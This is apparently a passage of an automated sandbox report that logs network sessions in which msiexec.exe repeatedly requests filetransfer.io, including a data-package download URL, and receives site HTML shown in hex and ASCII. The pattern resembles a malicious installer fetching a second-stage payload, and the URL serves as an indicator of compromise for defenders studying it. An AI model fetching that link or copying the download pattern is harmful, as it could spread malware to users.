IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descript
2025-01-10 19:14:26 UTC	1369	IN	Data Raw: 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a 09 3c Data Ascii: ch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"><
2025-01-10 19:14:26 UTC	1369	IN	Data Raw: 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 Data Ascii: "><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="websi
2025-01-10 19:14:26 UTC	1369	IN	Data Raw: 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 76 65 Data Ascii: ing of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLeave
2025-01-10 19:14:26 UTC	1369	IN	Data Raw: 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 65 6e Data Ascii: S.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@sen
2025-01-10 19:14:26 UTC	1369	IN	Data Raw: 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a Data Ascii: tch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span>
2025-01-10 19:14:26 UTC	1369	IN	Data Raw: 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f 76 65 2d 66 69 6c 65 25 32 46 5f 5f 6f 77 6e 65 72 43 6f 64 65 5f Data Ascii: section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremove-file%2F__ownerCode_
2025-01-10 19:14:26 UTC	1369	IN	Data Raw: 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 2d 62 79 74 65 73 22 3e 3c 2f 73 70 61 6e 3e 2e 0a 09 09 09 09 09 Data Ascii: /p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max-bytes"></span>.
2025-01-10 19:14:26 UTC	68	IN	Data Raw: 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: ng alert-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	57941	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:27 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:27 UTC	611	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:27 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:27 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uNW79dfy7TjrsbW3UPgqfOUgwTRL2sbQh8qdmcVScmg3ThXQfKYkPLOdsorgnc23zaf7Fuit4TpuYubAQAy3IwRS0IpaXLrd3p90ku1aQWNPVTq%2BSbjW73cbOm8KW7AeP4o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd79f88f72ad-EWR
2025-01-10 19:14:27 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	57942	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:28 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:28 UTC	980	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: 8F8h0UZFvKY12LIcLkeQy4R4MRPVmO66AWqhfI8KmvAMOUEakxqXOQ0w6Ly+o2Noa7OetoX+B6RJmIDoTBZNsLurEBPUyv03K1TuErqZ8Fk= x-amz-request-id: Q4XDT4FXDQH7MYP1 Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0q8DJwULXdOwvsqb%2BvUEAEllreXPiePth%2FzmxvEfmQwh8XCrCAZfNhknej1cRv8yXYPBeblo3FGdwnVAK0pgWlkf%2FCbr%2Br7FJAy2jSx%2Fl4rLlfRyfbhGG0XEMQBrio7fsnE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd7dff23ef9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1767&min_rtt=1751&rtt_var=689&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1553191&cwnd=219&unsent_bytes=0&cid=68ae8f2ffa3e5751&ts=215&x=0"
2025-01-10 19:14:28 UTC	389	IN	Data Raw: 34 62 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 4bd0<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:28 UTC	1369	IN	Data Raw: 72 6f 64 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e Data Ascii: rod">...<![endif]--><head><meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xN
2025-01-10 19:14:28 UTC	1369	IN	Data Raw: 6c 69 64 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 Data Ascii: lid/160.png"><link rel="apple-touch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="9
2025-01-10 19:14:28 UTC	1369	IN	Data Raw: 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 77 69 64 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 Data Ascii: o" content="/img/favicon/ms/wide.png"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><me
2025-01-10 19:14:28 UTC	1369	IN	Data Raw: 49 66 20 74 68 69 73 20 72 65 61 6c 6c 79 20 69 73 20 74 68 65 20 63 6f 72 72 65 63 74 20 62 65 67 69 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 Data Ascii: If this really is the correct beginning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?";
2025-01-10 19:14:28 UTC	1369	IN	Data Raw: 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 64 61 79 73 20 3d 20 22 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: me.shortcuts.days = "d"; MESSAGES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://
2025-01-10 19:14:28 UTC	1369	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 20 6c 6f 67 6f 2d 65 6e 22 20 74 69 74 6c 65 3d 22 53 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 Data Ascii: <a class="logo logo-en" title="Switch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><sp
2025-01-10 19:14:28 UTC	1369	IN	Data Raw: 0a 0a 09 09 3c 2f 64 69 76 3e 3c 2f 68 65 61 64 65 72 3e 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 Data Ascii: </div></header><hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%2
2025-01-10 19:14:28 UTC	1369	IN	Data Raw: 09 09 09 09 53 65 6e 64 20 66 69 6c 65 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 Data Ascii: Send files</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <s
2025-01-10 19:14:28 UTC	1369	IN	Data Raw: 2d 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 Data Ascii: -><div class="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	57943	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
